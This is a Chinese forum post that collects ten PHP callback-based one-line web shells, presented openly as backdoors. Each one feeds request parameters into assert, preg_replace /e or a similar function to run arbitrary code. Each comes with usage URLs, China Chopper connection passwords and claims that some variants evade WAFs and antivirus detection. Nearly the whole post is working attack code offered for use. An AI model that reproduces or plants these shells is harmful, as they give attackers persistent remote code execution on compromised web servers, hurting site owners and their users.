请选择 进入手机版 | 继续访问电脑版
查看: 741|回复: 0

[其他专区] php回调后门~,

[复制链接]
  • TA的每日心情

    2020-3-29 08:03
  • 签到天数: 255 天

    [LV.8]以坛为家I

    发表于 2016-5-2 10:53:29 | 显示全部楼层 |阅读模式
    下面是收集并整理的各种一句话,带使用方法.
    第一个:array_filter+base64_decode
    <?php $e = $_REQUEST['e'];
    $arr = array($_POST['settoken'],);
    array_filter($arr, base64_decode($e));
    ?>
    用法:
    http://www.xxx.com/settoken.php?e=YXNzZXJ0
    浏览器提交POST:settoken=phpinfo();
    菜刀连接用法:http://www.xxx.com/settoken.php?e=YXNzZXJ0
    密码:settoken

    第二个:array_map+base64_decode
    <?php $e = $_REQUEST['e'];
    $arr = array($_POST['settoken'],);
    array_map(base64_decode($e), $arr);
    ?>
    用法:
    http://www.xxx.com/settoken.php?e=YXNzZXJ0
    浏览器提交POST:settoken=phpinfo();
    菜刀连接用法:http://www.xxx.com/settoken.php?e=YXNzZXJ0
    密码:settoken

    第三个:uasort+base64_decode
    <?php $e = $_REQUEST['e'];
    $arr = array('test', $_REQUEST['settoken']);
    uasort($arr, base64_decode($e));
    ?>
    <?php $e = $_REQUEST['e'];
    $arr = array('test' => 1, $_REQUEST['settoken'] => 2);
    uksort($arr, $e);
    ?>
    用法:
    http://www.xxx.com/settoken.php?e=YXNzZXJ0
    浏览器提交POST:settoken=phpinfo();
    菜刀连接用法:http://www.xxx.com/settoken.php?e=YXNzZXJ0
    密码:settoken

    再给出这两个函数,面向对象的方法:
    // way 0
    $arr = new ArrayObject(array('test', $_REQUEST['pass']));
    $arr->uasort('assert');

    // way 1
    $arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
    $arr->uksort('assert');


    再来两个类似的回调后门:
    $e = $_REQUEST['e'];
    $arr = array(1);
    $e = $_REQUEST['e'];

    $arr = array($_POST['pass']);
    $arr2 = array(1);
    array_udiff($arr, $arr2, $e);
    以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用.
    php中,可以执行代码的函数:
    1: 一个参数:assert
    2: 两个参数:assert(php5.4.8+)
    3: 三个参数:preg_replace /e模式
    三个参数可以用preg_replace。所以我这里构造了一个array_walk+preg_replace的回调后门:
    第四个:array_walk+preg_replace
    <?php $e = $_REQUEST['e'];
    $arr = array($_POST['settoken'] => '|.*|e',);
    array_walk($arr, $e, '');
    ?>
    用法:
    http://www.xxx.com/settoken.php?e=preg_replace
    浏览器提交POST:settoken=phpinfo();
    菜刀连接用法:http://www.xxx.com/settoken.php?e=preg_replace
    密码:settoken
    这个后门可以在php5.3下使用.

    第五个:array_walk_recursive+preg_replace
    <?php $e = $_REQUEST['e'];
    $arr = array($_POST['settoken'] => '|.*|e',);
    array_walk_recursive($arr, $e, '');
    ?>
    用法:
    http://www.xxx.com/settoken.php?e=preg_replace
    浏览器提交POST:settoken=phpinfo();
    菜刀连接用法:http://www.xxx.com/settoken.php?e=preg_replace
    密码:settoken

    看了以上几个回调后门,发现preg_replace确实好用.但显然很多WAF和安全狗 DD盾什么的早就盯上这个函数了.其实php里不止这个函数可以执行eval的功能,还有几个类似的:
    第六个:
    <?php mb_ereg_replace('.*', $_REQUEST['settoken'], '', 'e'); ?>
    第七个:
    <?php echo preg_filter('|.*|e', $_REQUEST['settoken'], ''); ?>
    第六个 第七个的用法:
    http://www.xxx.com/settoken.php?e=assert
    浏览器提交POST:settoken=phpinfo();
    菜刀连接用法:http://www.xxx.com/settoken.php?e=assert
    密码:settoken

    推荐这个单参数后门,在各个版本都比较好驾驭. 这里给出几个好用不杀的回调后门
    第八个:
    <?php $e = $_REQUEST['e'];
    register_shutdown_function($e, $_REQUEST['settoken']);
    ?>
    这个是php全版本支持的,且不报不杀稳定执行.
    用法:
    浏览器GET提交:http://www.xxx.com/settoken.php?e=assert&settoken=phpinfo();
    即可执行phpinfo();
    菜刀连接用法:http://www.xxx.com/settoken.php?e=assert
    密码:settoken
    第九个:
    <?php $e = $_REQUEST['e'];
    declare(ticks=1);
    register_tick_function ($e, $_REQUEST['settoken']);
    ?>
    用法:
    浏览器GET提交:http://www.xxx.com/settoken.php?e=assert&settoken=phpinfo();
    即可执行phpinfo();
    菜刀连接用法:http://www.xxx.com/settoken.php?e=assert
    密码:settoken
    第十个:
    <?php filter_var($_REQUEST['settoken'], FILTER_CALLBACK, array('options' => 'assert')); ?>
    用法:
    浏览器GET提交:http://www.xxx.com/settoken.php?e=assert&settoken=phpinfo();
    即可执行phpinfo();
    菜刀连接用法:http://www.xxx.com/settoken.php?e=assert
    密码:settoken
    来源于网络收集,并整理. 好吧,本次就推荐这个10个php一句话,有问题请给我留言.
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表